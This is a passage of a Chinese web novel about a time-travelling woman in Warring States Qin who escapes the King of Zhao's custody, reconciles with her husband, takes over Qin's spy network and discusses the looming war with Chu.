“多谢将军施以援手,我与主人途遇山匪,幸得将军,主人命我上前谢过。” 校尉立刻呵斥道:“大胆,这是赵王,你家主人竟敢如此傲慢,不上前亲来致谢?” 诙解释道:“赵王,男女有别,我家主人不便与王上相见。” 校尉大怒,纵马上前,举鞭便给了诙一下,诙被抽翻在地,校尉还要再抽,鞭子却被人抓住,楚越一手接住了校尉落下的鞭子,另一手狠锤向马头,马匹吃痛受惊,狠狠将校尉甩了下来。 “赵王,你虽为一国之主,但此地是燕国之地,我们是魏国的商贾,大王还是不要太过无礼,以免有失身份。” “哈哈哈。”赵王哈哈大笑,对马车上的婼喊道:“久闻秦国大司巫之名,如今见其门客,便已不俗。” 婼不说话。 诙看向楚越,楚越瞧着赵王一本正经的样子,低头看了看自己的装束,看来自己伪装的很不错。 她决定将计就计,“大王,我们是魏国的商贾,大王认错人了。” “是吗?寡人方才在高处看了许久,能面对数倍多于己之敌而不动如泰山,还能出言恐吓对方,寻常商贾,怕是没有这样的魄力。” “大王好眼力。”楚越低头。 婼见状,在车中道:“秦大司巫楚越见过赵王,不知赵王为何在此?” “燕有内乱,中山国磨刀霍霍,寡人前来查看,没想到大司巫也在此处。” 婼道:“在下送嫁而来,正要返秦。” 赵王自顾自道:“中山国与齐国已经出兵,不知大司巫如何看待此事?” 婼不答。 “也是,此处人多眼杂,不如请大司巫移步寡人行宫,详谈此事。” 当即有校尉带兵上前,对方人多势众,楚越只得道:“夫人,既然赵王盛情难却,夫人便不要再推辞了。” 婼道:“好吧,但我与公子相约韩国边境,我若逾期未至,他必定担忧,你与诙速速前往韩国,将此事禀告公子,让他莫要担忧。” “夫人,我怎能离开夫人。” 诙也道:“夫人,我奉命护卫夫人安全,不能离开夫人半步,就让婼去吧。” 说罢,他看向楚越,以目光示意,令她不要轻举妄动。 赵王为楚越留了两个护卫,命她回秦国报信,没了马车,只能硬走,楚越太久没走过这么远的路,睡了一夜之后,双腿便肿得抬不起来了。 身上没钱,天气又冷,楚越这时才想起嬴华让她随身携带的金环,已经迟了。 三人一路翻山越岭,才到了一座稍微大些的城池,大家都已经疲惫不堪,饥火烧肠,楚越看了一眼身后两个护卫,目光垂下,落到自己腰间的宝剑。 也就这玩意儿稍微值钱点了。 在集市贱卖了千金宝剑,三个人总算吃上顿饱饭,暂居馆驿,稍作休息,自己走回去太慢了,但买一辆车钱不够,护卫提出可以找往来商贾,搭乘他们运货的车辆。 一连几个商贾,要价都太高,只有几个结伴贩羊的秦国女商,见楚越同为女子,一时怜悯,答应按她出的价钱捎上他们。 天气很冷,风吹在脸上,刀割一样,但这些女子很乐观,坐在车上,一边走,一边唱歌,楚越认真听去,却发现自己听不明白。十里不同音,百里不同俗,虽然都是秦人,但语言差异也客观存在。 “你叫什么名字?” 为首的女子道:“我叫乌梦,她们是我的妹妹们,老二乌梨,老三乌珑。” 乌姓,这个姓氏在秦国并不常见。 见她们以贩羊为业,秦国养羊、又姓乌的,只能是原来的乌氏国后人,乌氏国也是草原部落的一支,后来被秦国所灭。 “你们的羊今年卖的好吗?”楚越问道,“千里迢迢将羊运这里,想来这里的价钱一定比秦国要高,否则你们不会冒这么大风险。” “是的,比在秦国要高三成。”乌梦开心道。 “秦人喜食羊肉,军队需求量也很大,你们为何不卖给军队?” 乌梦道:“妹妹,你这就有所不知了,秦军所需量大,一般不会收我们这零星牛羊,都是军需官委托给大商人,再由大商人收购。大商人要谋利,常常压低价格,我们正是不愿意卖给大商人,才千里迢迢运到别处。” 楚越点点头。 原来是中间商赚差价。 一行人走到天黑,也没有遇见村落,只能在野外扎营,男女有别,两护卫被安置在远处,楚越和乌氏几姐妹挤在一起取暖。 走了一段时日后,众人终于看到了函谷关的影子,护卫跳下车,向守城的军士出示了令牌,不久后,守关的将领匆匆赶来,对楚越一揖,“见过大司巫。” “速速遣人告知王上,我已归秦。” 守将立刻道:“是。” “大司巫,十数日前,燕国之变,传入国都,公子华禀明王上,出关往魏国接应您去了,您在路上,没遇见他吗?” 楚越冻得嘴唇都紫了,摇摇头,“不曾,有劳将军派人前去告知。” 第60章 王八蛋男人是个王八蛋 楚越被冻得够呛,守将将她安置在了馆驿之中,又请来了医师,但好在她身强体壮,只是手脚上有些冻伤,稍作治疗,便会无碍。 她向守卫借了些钱,十倍车资付给乌梦姐妹。 乌梦却只取事先许诺那一份,“商人重利,但也重义,说多少,就是多少。” 楚越笑了下,拉过乌梦的手,将钱全塞在她手中,“这不是路费,是定金,我对你们的羊很感兴趣,大王赐我虎贲二百,我总不能亏待他们,你们的羊,以后我都按市价买了。” “这世道,锦上添花易,雪中送炭难,你们帮了我,我自然也要回报,否则传出去,列国该嘲笑我,知恩不图报了。” 乌梦掂了掂手里的钱,爽快应道:“既然是买羊,那行,那我先收下了。” 姐妹几人还要归家,楚越送走二人,依旧在馆驿中休息,一段时间颠沛流离,她精疲力竭,却又睡不太沉,朦胧之间,梦见自己被追杀。 她躲在隐蔽处,敌人的脚步声,却一点一点近了,一只手,搭在了她肩上。 楚越的反应迅速,那只手方落到她肩上,她立刻翻过身,抓住对方的手,顺手一扭,嬴华‘啊’的叫出声。 完成一系列动作,楚越的眼睛才睁开,充斥着警惕与防备的尖锐目光,在看清对方近在咫尺的脸后,一瞬而过的才杀气荡然消失。 是嬴华。 心中的不安,慢慢消散。 她推开嬴华的手,“好冰,别碰我。” 嬴华却一把将她拥入怀中,“你吓死我了,我以为你出事了。” “你怎么找到我的。” “剑,你的剑,我在来的路上发现的,我就知道 你一定没有和赵王走。” 嬴华的手冰凉,身上铁甲更冷,贴在楚越身上,寒意刺骨,楚越伸手推开她,“好冷,你在雪里打滚了吗。” “差不多了,我连夜赶路,披风带雪。” “外面还在下雪吗?”楚越朝屋外看去。 窗外天光灰暗,楚越睡得久了,昏昏沉沉,也不知这是天黑前最后的曙光,还是天亮前即将消散的暗沉,楚越往床里挪了挪,“先睡觉吧,外面天都没亮呢。” “亮什么?天要黑了。” 楚越顿了一下,“那更该睡觉了。” 天气冷,两个人睡在一起,倒莫名的暖和。 “你是怎么逃出来的?”嬴华问道。 “不是逃,是赵王误会了,将婼认作是我。”想到这里,楚越深吸口气,“不行,我得想办法把他们两个弄回来。赵王可有派遣使者过来?” “不曾。” “不曾?那就是等我在报信呢。” 楚越想了想,“赵国,赵国要什么呢?” 而今的赵王,就是大名鼎鼎的赵武灵王赵雍,他在位期间,灭了中山国,胡服骑射。 中山国。 楚越想起赵王的确提到过中山国,中山国出兵燕国,要趁燕国内乱,瓜分燕国的领土。中山国若是强大,则对赵雍灭国的计划不利。 为什么要拉上秦国呢?因为燕王后是秦人,还有公子职。 答案出来了。 “赵王想要和秦国一起出兵,避免燕国被中山吞并,影响将来赵国吞并中山国。” 嬴华想了想,“中山国弱小,当年三晋还未立国时,便亡国过一次,说起复国,也不过是因为赵魏两家分赃不均,最后魏文侯之女公子倾嫁给赵襄子为妻,又将中山之地封给公子倾,使中山国名义上由魏女管辖,平衡两家势力,最后中山才趁三家分晋之际,复国成功。” “后来魏文侯派大将乐羊占领中山国,魏武侯在继位之前,也曾做过一段时间的中山封君,后来中山桓公励精图治二十年,才重新复国。” 楚越一时好奇,看向嬴华,“你还知道这呢?学这儿的时候没翻墙出去?” 嬴华张臂,双手枕在脑后,“没有,这一段是公父讲给我听的,他说,秦要出关,三晋是大敌,要想战胜三晋,必须了解三晋。” “那公子倾也的确是人物,虽然是虚君,但中山国的的确确就是她的封地,女子封君,也不是不可能。”楚越越说眼睛越亮。 封君。 那可是一块地方的最高长官,真真正正的土财主。 嬴华翻了个身,饶有兴趣看向楚越,“你还想当封君啊。” “你不想吗?”楚越看向嬴华。 “想啊。” “那我为什么不能想。”楚越反问道。 嬴华笑了。 “你想当封君,那就是要继续打仗了?”楚越忽然问道。 嬴华脸上的笑容僵住了,“不打仗,我能做什么?为国出质,还是做些什么?” 楚越翻了个身,面对嬴华,“我!我可以让你当封君,公子倾是魏文侯的女儿,所以能封中山之地,我知道自己没这个可能,燕王要禅位子之,大权都给子之了,却依旧是如此模样,非我血裔,其心必异,我很清楚这个时代。但如果是你,未必不能。” 有些话她不敢说。 封君,只要他活着,说不准她还能当他当秦王。 当然这阻力就太大,当不了秦王,当个国家柱石,周公一样的人物也不是不行。 当然,得要他活着。 “你是秦国的公子,要成为封君比我容易。” 嬴华听完,若有所思,“虚名给我,实权给你是吧?那我不是傀儡吗?” 楚越支起上身,俯瞰嬴华,认真道:“什么傀儡?我问你,你跟我还能活千秋万载吗?你我死了,封地是谁的?” 嬴华眨了眨眼睛,“咱俩死了,封地收回去啊,珠珠是女子,秦不是魏,女公子继承不了封地。” “笨蛋!”楚越抬手就照着嬴华胸口一拳。 她这是对牛弹琴。 嬴华抓住了她的手,神情不知为何,有些黯然,“我知道你在说什么。” 何其熟悉的场景,这样的一幕,也曾在过去上演,她的夫人,巴国的王姬,对他说,“你来做这个秦王,我做巴王,我们的孩子,会成为秦巴共主,这样,我就不会反对这一切,我们还有可能。” 她还真是,一直没变过。 两个人面对而卧,靠的极近,只需要再往前一点,他们的鼻尖就能触碰,再往前,是嘴唇,近距离助长暧昧的氛围,楚越呼吸一滞,脸颊耳后迅速升温,她眨眨眼睛,倏而冷脸骂道:“你又耍我。” 嬴华也板着脸,“不行!那我不是靠夫人的赘婿了?秦国,赘婿卑下。” “秦的赘婿是入赘到女方,户主是女方。我是嫁给你的,你还是户主,算什么赘婿。谁要是议论你,我就让他知道花儿为什么这样红?” 嬴华蹙眉,想了想,“为什么这么红?” 楚越甩开嬴华的手,用力推了他一把,“又耍我?” 她躺下去,气冲冲翻身,背对嬴华,再不理他。 嬴华望着楚越的后背,黑发如漆,他想说点什么,却又不知该从何说去,只得躺了回去,背对楚越,没过多久,又翻了回来,他望着楚越的后背道:“我不打仗,陪在你身边,就能取代白起的位置吗?” 楚越没有说话,白起,是他们之间不可提及的话题。 “没什么不能说的,事情已经发生,我也已经知道,有些话,早晚要说清楚点。” “你倒大方。”楚越阴阳怪气道。 嬴华没听出来楚越的语气,兀自和她解释,“这不是大不大方的事情,事情已经发生了,没有办法改变过去。” 楚越没理他。 嬴华看了一眼她的背影,似乎想起什么,“你不是真的等着我战死沙场,然后改嫁白起吧?” 楚越还是不理他,嬴华陡然变得认真起来,伸手去扳楚越的肩膀,想要问清楚,"我问你呢你身上怎么这么冰?” 手刚触到楚越肩头,嬴华就感觉到一阵凉意钻进掌心。 “脸也白了,不会得风寒了吧。”说着,嬴华伸手去摸她额头。 楚越被嬴华折腾的烦了,小腹隐隐作痛,要来癸水的前夕吹了满肚子风雪不说,还被他逼问烦心的事情,楚越再按耐不住内心的烦躁,挥开嬴华的手,“你烦死了,再吵滚出去。” “怎么说话呢?让谁滚出去?”嬴华的脾气也上来了。 楚越坐了起来,指着自己问道:“那我滚出去?” “凶悍的女人。”嬴华无奈。 两个人躺了回去,楚越手脚凉的厉害,蜷缩成一团,嬴华翻来覆去,最后还是询问楚越,“你真的没事吧?” “还有被子吗?”楚越问道。 嬴华摸了摸头,“没了。” “那算了。” 嬴华想了想,将衣服搭在楚越的被子外面,过了一会儿,楚越的呼吸逐渐均匀,嬴华小心翼翼伸出手,摸了摸她的头发,凉意已经消失,楚越睡得安稳,脸色也恢复红润,嬴华悬着的心才放下。 他望着楚越的后背,伸出手,微弱的光线透过指缝,想要触碰,内心又怯懦。 “我不打仗了,一直陪着你,你就会开心吗?” “当然。” 楚越忽然睁开了眼睛,嬴华吓了一跳,“你不是睡着了吗?” “谁告诉你我睡着了?我可没说我睡着了。”楚越从床上坐了起来,黑发垂在胸前,“白天睡多了,没睡着。你说的话是真的吗?” “睡觉。”嬴华道。 楚越不依不饶,将!要倒下的嬴华,硬拽了起来,“你说清楚” 她想要远离,对方却执意要靠近,等到她真的无法按耐自己的感情,他又给自己沉重一击。 王八蛋。 他就是个王八蛋。 “你有没有想过,你要是死了我怎么办?不是说将来,也不是说在秦国如何,我是我问我自己,我的心,我的感情。”【你现在阅读的是 】 60-70 第61章 看看实力看实力 过去所有未来得及说出的幽怨,在这一瞬涌上心头,滚滚热泪顺着楚越的脸颊流下,她似乎又变回那个什么也做不了的幼童,目睹一切发生,而毫无还手、阻止之力。 有人新婚燕尔,有人肝肠寸断,这一切为人所不知的哀伤,尽数被想起,而始作俑者,又刚好在她面前。 楚越一拳一拳,埋怨的捶着嬴华,“你有没有想过,我怎么办?我都已经不再难过了,你又为什么要娶我?” 良久,嬴华开口道:“你学诗的时候,难道没学过《黄鸟》 吗?子车氏贤臣,为穆公殉葬,秦人缅怀,故做此诗。你携带的天命,不能离开秦国,可是你,又是那么桀骜不驯,你拒绝了嫁给嬴轩,大王怎么想?” “预言,是你的能力,你也笼罩在他的阴影之下。” 楚越渐渐冷静下来,越有能力的臣子,越会被君王忌惮,其实她更该谨慎,而非任性妄为。 可是她的确不能接受嫁给嬴轩。 她有想过,离开咸阳之后的恶果,但所有的担忧,最终都被莫名的勇气战胜。那个夜晚,她还是离开了咸阳。 “是我对不起你,但我也想不出更好的办法。没人会为难一个寡妇,你要真想改嫁,以后就改嫁去吧。” 楚越气得眼前一黑。 她伸手,捧住嬴华的脸,“我不要听你说对不起对得起我,你本来就对不起我,我不要道歉,我要你对得起我,我要你说” 要他说,他爱她。 他和她爱着他一样,爱着她。 楚越泪眼婆娑注视着嬴华的眼睛,希望他能够说出那句她想听到的话。 所有的对不起都在等着一句原谅,可是其实感情里没有对错,他只是当时不喜欢她罢了,不喜欢一个人没有错,喜欢一个人也没有错。 不要道歉。 嬴华望着楚越满含热泪的眼睛,一时动容,强烈的愧疚,冲击着她的内心,是自己让她陷入了两难的痛苦。 “对不起” 楚越绝望闭眼,泪水顺着眼角滑落,她抬起手,狠狠给了嬴华一下,“蠢货,你简直是个蠢货!” 嬴华也不躲,担忧的望着她。 温热的唇,猝不及防贴到了嬴华唇上,他愣了一瞬,很快反应过来。 他垂首,轻轻吻了下楚越的额头、睫毛、鼻梁,最终吻在了她的唇上,唇齿相依。 前世今生,所有的爱恨,在这一瞬爆发,清晰的裂痕,陈列两人眼前,他们束手无策,各自装作裂痕不存在的样子,用身体上的更接近,来自欺欺人。 他们紧密的贴在一起,激烈的亲吻,当火焰焚烧尽理智,身体的距离化为虚无,那道裂痕似乎、仿佛、弥补起来,稍稍一动,又清晰裂开。 似哭非哭的呻/吟,交织的汗水,混合在一起,填充在缝隙之中,他们紧紧相拥,追逐着完好如初。 激情退却,他们又不得不一起面对残酷的现实。 “不要再离开我。” “我是秦国的公子,秦国是我的家。” 二人回到咸阳,楚越向秦王回禀了燕国见闻,并提出可以和赵国一起,护送公子职。 “赵图谋中山,秦要牵制齐国,故而必须保存燕国社稷,子之和太子平,都没有人君之相,且命不久矣。” 说完燕国的事情,楚越向嬴驷请求道:“大王,珠珠年幼,臣身为人母,理当抚养孩子长大,今向大王请辞,归家养育子女。” “不可。”嬴驷当即拒绝道,“大好年华,不思报国,蜷缩内宅,蝇苟度日,岂非虚度光阴,珠珠自有傅姆照料,你担心什么。” 楚越立刻解释道:“臣并非不再为大秦效力,而是为大王想出了更好的方法。夫战者,知己知彼,方能百战百胜,臣一人,虽有心,却力不足,愿请为间,让秦国耳目,遍布列国。” 转行,转成大秦FBL。 众所周知,情报工作,最难的不是刺探消息,而是判断消息的真伪,太巧了,楚越刚好知道答案,不知道过程。 楚越翻来覆去的想,终于给自己找到了一个,不脱离权力中心,又低调没有太高技术含量的活。 秦王也很意外,“你居然愿意做这勾当?” 间谍,又名细作,细者,微小,卑贱,作,指行业。 细作又被叫奸细,带奸的能是什么好行业。 当间谍头头,说出去确实不太体面。 楚越微微一笑,“回王上,臣能预言,与间谍探来的消息有何关系?” 间谍头头这个活儿可不好干,对外刺探军情,对内监察百官,固然令人畏惧,但也太招人恨,所以只能偷偷的干,不能大张旗鼓的干。 嬴驷也笑了,“好,好一个无关!” 接手之后,楚越发现秦国目前的细作体系,是很完善的。 从隶属情况,派出的间谍大概分为三种。 高级间谍,有一定身份的士人,潜伏在列国朝堂,分管领导为驻某国秦使或者直接对秦王负责,他们手下还有一些小喽啰,负责打探过国中消息。 军队细作,为大军刺探军情,和斥候、侦察兵相同性质。 民间细作,谁想打听情况,就自己派一个出去。 除了派出间谍,还有负责反间工作的国安,这一部分,就更复杂,咸阳令、卫戍军都能管,谁抓着了,就是谁的。 几部分细作各司其职,由一位级别高的人主持工作,协调各方,也是秦王乐意看见,他大手一挥,给天启阁增加了几个三百石吏[1]的编制,让楚越自置。 楚越从门客中大概选定了几个人选。 半月之后,婼和诙安然回到了咸阳,婼十分好奇,“楚越,你和赵王说什么了,他怎么那么那么容易就放我们走了。” 楚越归秦,赵国也看穿了婼的身份,就在两人以为自己命不久矣之际,赵王却放他们离开。 “我和赵王说秘密。”楚越故弄玄虚道。 楚越能说什么,当然说的是,赵王要是不想他的黄/谣传遍列国,就最好把人给送回来,楚越就当什么都没发生过,秦国可以和赵国一起,出兵燕国。 堂堂赵王,劫持秦公子的夫人。 能为什么? 楚越和赵王知晓其中缘由,但是列国不知道啊。 究竟是赵王色令智昏,强抢秦国公子夫人这个消息劲爆,还是两人共商燕国大事这个消息更引人注意呢? 那必然是前者。 名誉这个东西,谁在乎就对谁重要。楚越反正不在乎。 赵王,那可是堂堂一国之君,要做明君的一国之君,他不要脸的话,连带着赵国都丢脸。 得其所想,杀了婼和诙容易招惹祸端,赵王固然被骗,愤怒不已,也不得不将两个人送回来。 赵王这是真吃了个哑巴亏。 男人,也是害怕被造黄//谣的。 楚越刚接手间谍工作,一时没什么大动作,以熟悉业务为主。嬴华练兵,早出晚归,他最终妥协,答应不领兵,只练兵。 不妥协也没办法,再不妥协,楚越就要把他赶出去了。 珠珠一日一日长大,很快便能说话,口齿不清的唤楚越‘阿母’,叫嬴华‘阿父’,半日不见嬴华,就吵着要见,否则就大哭大叫,楚越被她吵得没办法,恰好她也想出去走走,于是带着珠珠去找嬴华。 蓝田大营,练兵练得如火如荼。 从齐国学来的蹴鞠,既可锻炼士卒体魄,又能增强队友之间的协作能力,被秦国在军中推广。秦军分成两队,在场上追逐竞技,嬴华与另一个年轻将领各率一队,你追我赶,互不相让。 场边零零散散摆着些草垛,士兵们或站或坐,楚越抱着珠珠背靠草垛,欣赏秦军蹴鞠。 一颗藤球,让那年轻将领踢出了花,没人能从他脚下夺走这颗球,就连嬴华,都数次无功而返,楚越忍不住为他叫好。年轻将领笑着朝楚越挥了挥手,楚越这才看清,是嬴轩。 一段时间不见,这么厉害了? 嬴华也顺着他的视线看了过来,见楚越和珠珠来了,换了人,便从场上下来。他接过珠珠,举起空中,珠珠笑了,唤道:“ 阿父。” 楚越接过珠珠,掏出汗巾递给嬴华,他接过,低头擦汗。 “楚国公子想要求娶我国公主,这事儿你知道吗?是哪位公子?” “对,公子子兰。” 楚越的声音提高了两度,“公子子兰?” 好熟悉的名字。 “是楚王的那个小儿子?” “是的,你认识?” 楚越回过头,“听过。” 何止是听过,简直如雷贯耳,子兰,那可是著名的奸臣,屈原有多忠,子兰就有多奸。 “子兰的母亲是我秦女[2],估计就是因为这层关系,所以想再求娶于秦,孟公主也到出嫁的年纪了。” 孟仲叔季,孟乃庶长之意。 秦王公子众多,公主却没有几个,楚国是大国,公子子兰是楚王最宠爱的儿子,将来必为楚国实权人物,不失为一段好姻缘。 楚越‘嘶’的吸口气,回过头,“公子子兰还和咱们有这一层关系?” 难怪亲秦,自己带了一半秦国血统,夫人是秦国公主,春秋战国时代,母系的力量也不可忽视,一般人在本国混不下去,都会将母国作为退路。没有母国,妻子的国都也可以。 大秦,可是子兰的第二故乡。 “对呀,秦楚联姻二十余代[3],从穆公时代便开先河,一直至今,芈夫人也是楚国人。” “这我知道” /:. 但是子兰这么秦化,是她不知道的。 第62章 受骗大秦fbl头子被骗的一天 "你问这个做什么?" “我收到消息,楚国有意求为公子求娶秦国公主,但不知道到底是哪位公子。” 嬴华的擦汗的动作慢下来,仔细想了想,才想起此番秦楚联姻尚在萌芽阶段,楚越一问,他还以为已经敲定,顺口将自己知道的事情都说出来了。 “楚国还没来人?” “来人了我还问你做什么?”楚越看向嬴华。 重生的人摆在眼前,加上自己的穿越,这情报工作,真是越做越有将来。 嬴华眯起眼睛,打量着楚越,若有所思。 “阿父。”珠珠双手抱着水囊,要递给他。 嬴华笑着接过,摸了摸她的头,拔掉水囊塞子,仰起头,咕嘟咕嘟喝了,抬起袖子,擦擦嘴,让水囊丢给一旁亲卫。 珠珠伸手,想要嬴华抱。 “不抱,身上都是灰。” 珠珠锲而不舍,双手依旧伸出,撒娇道:“阿父!阿父!” 楚越无奈叹口气,“你就抱抱吧,她倔得跟头驴一样,你不抱她又要闹了。” “怎么能这么说呢。”嬴华接过珠珠,“我们珠珠这是有脾气,虽然人小小的,但是有自己的想法。” “她早晨起得早,要来找我,非要我喂她吃饭,否则不吃,午后睡醒了,一定要找你,否则就大喊大叫。咸阳到蓝田,得要一个多时辰。好远。” 咸阳到蓝田,少说也有一百公里,开车也得一个小时,何况马车,马车上,她也不老实,一个劲往外看。 楚越觉得自己为数不多的母爱,快要被她折腾完了。 “既然来了,就待一会儿,等我练完了,咱们一起回去。” “你还回什么,早上一个时辰,晚上一个时辰,你真不嫌难跑啊。” 通勤四个小时上下班,看来古代社畜和现代社畜都是一样的。 楚越站得有些久了,左腿换右腿,嬴华看了她一眼,走到她面前。 他直勾勾望着楚越,炙热的目光落在身上,楚越觉得有些难为情,脸颊发烫。 “我脸上有东西吗?” “没有。” 楚越手背在后,十指纠缠搅动,故做凶悍道:“没东西你看什么,不许看!” 嬴华嘴角噙上抹淡淡的笑意,义正言辞道:“怎么,我看我自己的夫人,还触犯秦法不成?” 众目睽睽,楚越闭眼别开头,“你别说了。” 他将珠珠放在草垛上,“来,看阿父给你露一手。” 珠珠点头,乖乖坐好。 楚越也准备翻上去,还未伸手,脚下却忽然一空,嬴华抱住朝光的腰,将她也举起,放在草垛上。 楚越一阵失衡,人往前倾,单手按在嬴华肩头,才勉强保持平衡。 距离一近,楚越感知到嬴华因剧烈而上升的体温,他满头是汗,革制的抹额捁住碎发,阳光照在他脸上,每一颗汗珠都散着晶莹的光芒。 楚越有些恍惚,强烈的熟悉感冲击内心,过去很多次,嬴华与宗室子弟比试角力,她是个合格的拉拉队员,为她加油打气。得胜之后,嬴华会穿过人群,开心的抱起她,将她举起空中。 那时嬴华十八九岁,面容年轻稚嫩,他们在一起,很开心,楚越满心满眼都是他,他们抱在一起,胜利的喜悦在他们之间洋溢。她开心的,一次次亲吻嬴华,为他的胜利,为他们的胜利。 时隔多年,眼前人容颜依旧,稚嫩散去,取而代之以坚毅。 楚越愣愣望着嬴华,不自觉出神。 四目相对,嬴华冷不丁问楚越道:“你夸嬴轩了?” 楚越回过神来,点点头,“嗯,他赢了。” “没有,上半场是平局。”嬴华反驳道,“等着。” “嗯?”楚不解,气氛怪异的厉害,她感觉自己的心在砰砰乱跳,呼吸也逐渐紊乱。 那种悲伤的感觉,从深埋的地底爬出,鬼魅一般萦绕在楚越心头,泪水在积蓄,痛苦在发酵。 这样浅薄的悲伤,只需要一张口,就会暴露,楚越强忍下心底复杂的情愫,从鼻孔中哼出代表疑惑的音节。 嬴华顺手将一边代表胜利的花环带在楚越头上,像是从前将别人可望而不可得的奖品随手塞到她怀里,漫不经心让她拿去玩一样,他望着她自信道:“我这就去把嬴轩那小子打趴下。” 他松开抱着楚越的手,转身回到赛场。 斜阳照在嬴华在得胜后,望向楚越的脸,他的眼睛很亮,全倒映着她的身影,楚越对着他一笑,侧过头,眼泪却滚落。 她擦掉眼泪,装作若无其事的样子,等嬴华过来,她脸上又恢复平静。 “我厉害吧?”嬴华得意道。 楚越扬起下巴,倨傲道:“一般。” “什么叫一般?” 她从草垛上跳下来,抱起珠珠,头也不回的走了,“一般就是一般。” 嬴华追了上来,拉住楚越的胳膊,“一般是什么?” 楚越一手抱着珠珠,另一手拉住嬴华,“一般就是你比嬴轩厉害。” “我本来就比他厉害。” 楚越:“” 蓝田练兵一载,颇有成效,秦王即刻发檄文,以义渠臣而复叛,毁坏盟约之由,讨伐义渠。 嬴华领一军。 得知此事,楚越愣住了,“什么时候的事情?” “早朝时,大王忽然下令。” 这么大的事情,情报处主任,居然没有事先得到情报? 楚越想都不用想,就知道一定是嬴华搞的鬼。 “公子呢?” 侍从道:“已经去了军中。” 轺车轻便,在忙碌的军营的停下,车刚停稳,楚越便从车上跳下,直奔将帐。帐门猛然被人掀开,诸将回头,见是楚越,一时低下头去。 “大司巫。” “都出去,我有话和将军说。” 众人看向嬴华,嬴华只得道:“都先出去。” 众将才离去,楚越两步上前,抓起桌上的竹简,用力朝嬴华打了过去,一边打,一边骂,“骗子。你竟敢骗我。” 骗人多年,第一次被人骗,楚越气得咬牙切齿,嬴华挨了几下,且挨且退,压低了声音,“军中!军中!这是军中!你给我留点面子。” “面子,只有你要面子吗?我不要吗?你竟然敢骗我,还敢当着我的面,给我整这么一出?” 大秦fbl头子,情报处主任,居然被自己枕边人瞒住了。 还被骗了。 他分明答应自己,只练兵,不领兵。 楚越越想越气,余光瞥见一旁架子上搁着的剑,嬴华也注意到了,瞳孔一阵紧缩,两人都朝剑架跑去,嬴华到底慢了一步,楚越‘哗’的声拔出了剑,嬴华拔 腿就跑。 一个追,一个跑,楚越追着嬴华跑出了营帐,营帐外,围满了还未离去的众将,嬴轩笑的前仰后合,“嬴华,你也有丢盔弃甲的一天?” 众将哄笑,“哈哈哈哈哈哈。” 嬴华一面躲避,一面指着嬴轩道:“不许笑!” 嬴轩见嬴华实在被追的狼狈,且嬴华为一军之将,如此狼奔彘突,成何体统,威严尽失,将来如何威慑众将。 他立刻上前阻拦,“嫂子,嫂子,别生气!别生气!” 嬴轩压低了声音,“这是军中,堂兄将来还要领兵,亲近将领见之无妨,但让士卒看见,就不好了。” 事已经成定局,王命已下,楚越只得作罢,她丢下剑,长剑落地,撞到地面石头,发出金属碰撞之音。 秦国平定义渠,意在安定大后方,好对前作战。 面对秦国的攻势,义渠不堪一击,不过数月,便溃不成兵,义渠王仓皇逃走,大片领土被秦国占领,秦国皆县之,并迁吏民稳定、开发。 燕国彻底乱了,子之杀了太子平,燕人打着为太子复仇、匡扶正义的名头,联合中山,双线进攻,燕国大乱,两国仅耗费七十余日,便攻破了燕都。 齐人焚毁燕国的宗庙,将燕国的重器迁往齐国,并在燕地烧杀抢掠,此举激起了燕人的反抗,他们聚集起来,同齐人作战。齐国陷入了对燕的战争,秦国联合赵国,护送流落韩国的公子职归燕,立为新燕王。 解决完后方,牵制了齐国,秦国便将矛头对准了楚国。 秦国兵分两路,先打韩魏,胁迫两国出兵,楚国觉察到秦国威胁,先下手为强,他们出兵的理由,是张仪。 前方著名景点——张仪欺楚。 六百里和‘六百’里的故事。 “相邦,楚王说你欺楚,打着要杀你的名义,来伐秦国。你就不怕大王为了平息楚王的怒火,将你送去楚国?”楚越打趣道。 张仪从案牍中抬头,笑了一下,“是吗?要张仪一人就能平息楚王的怒火,那张仪甘愿去楚。” “楚王气得不是在下,楚王气得多了,他气齐国、气秦国,也气国内那帮大臣。齐国可不是个好盟友,鼓动五国合纵伐秦,自己却不出兵,和楚国结盟,却背地里支持越国打楚国。" “合纵怎么能成嘛!”张仪摊手,“盟国内部,同床异梦,魏韩和楚国接壤,双方摩擦,从未停止,这边说是合纵打着秦国呢,那边已经准备好打友军了。” 楚越低头一笑,“商於之地没有六百里,楚王也没有那么蠢,楚国看似被推为纵长,是真被架在火上烤。” 同时和韩魏秦三国作战,还有一个暗戳戳背地里捅刀子的盟友齐国,如果再不和秦国缓和关系,就真陷入邦交绝境了。 之所以答应退兵,是为了和秦缓和关系,总不能他们打,劳民伤财、损耗国力,最后让齐国获利。楚国挟持秦国,增加和齐国谈判的筹码,迫使齐国停止支持越国的行为,以保全自己。 第63章 季君之乱白起有没有卷入季君之乱?…… 执义扬善曰怀,能被谥号为怀,且被屈原称之为美人、灵修,怀念了一辈子的楚王,绝不是个大蠢蛋。 秦末楚地起义,拥立的新楚王,称号也是‘怀王’,什么王好,什么王不好,人民群众心里是有数的,他们的眼睛是雪亮的。 “秦国占据巴蜀,又挟持三晋,楚国觉察到危机,先下手为强,这可不是一个笨蛋君王能有的眼光和谋略。”楚越道。 “秦楚一战,不可避免,看来你我,有的忙。”张仪叹口气。 “哦对了。”张仪似乎想起什么,“你最近可还好?孕妇不易劳累,也要适当休息。公子华将军快回来了,我会和大王说,让他不要出征,以免你担忧。” 腹部日渐隆起,楚越又气又笑。 这次剧本拿错了,常年在外坑蒙拐骗,一不留神在阴沟里翻了船,被人骗了。 说出去丢人,故而气。 但又多了一个血脉相连的亲人,所以笑。 她不再是孤单一人,有血脉相连的孩子,她可以给自己一个家,一个从她开始,由她缔造的家。 想到这里,楚越冷笑声,“他爱回来不回来。” 见她这样,张仪面色一凝。 “你之前大闹的军营的事,我也有所耳闻。”张仪无奈道:“不是我说你,他毕竟是一军之将,你这样让他当众下不来台,他日后如何领兵?” 楚越的声音顿时高了两度,“够了!都说我,大王说我,王后说我,你也说我。你们都瞒着我,还要说我!” 见楚越情绪激动,张仪立刻安慰道:“好了好了,没有指责你的意思。忙固然忙,也要注意自己的身体。” “知道了。” 秦国出兵不断,与楚大战一触即发,战争前夕,列国动向频频,各地情报雪花般飞来,真的,假的,混合在一起,需要人逐一辨别。 孤证不立原则,应用于情报,也是一条不错的方法。 一件军情,要从多方验证。 军队调动,要从粮草调度、人员调动、任免印证。 只是这样,需要耗费极大的精力与时间,楚越常常忙到后半夜,油灯中烛火燃尽,屋中陡然陷入黑暗。 属吏急忙出去加灯油,屋中静谧,耳旁嗡嗡声,渐渐散去,珠珠枕着她的腿,睡得正香。 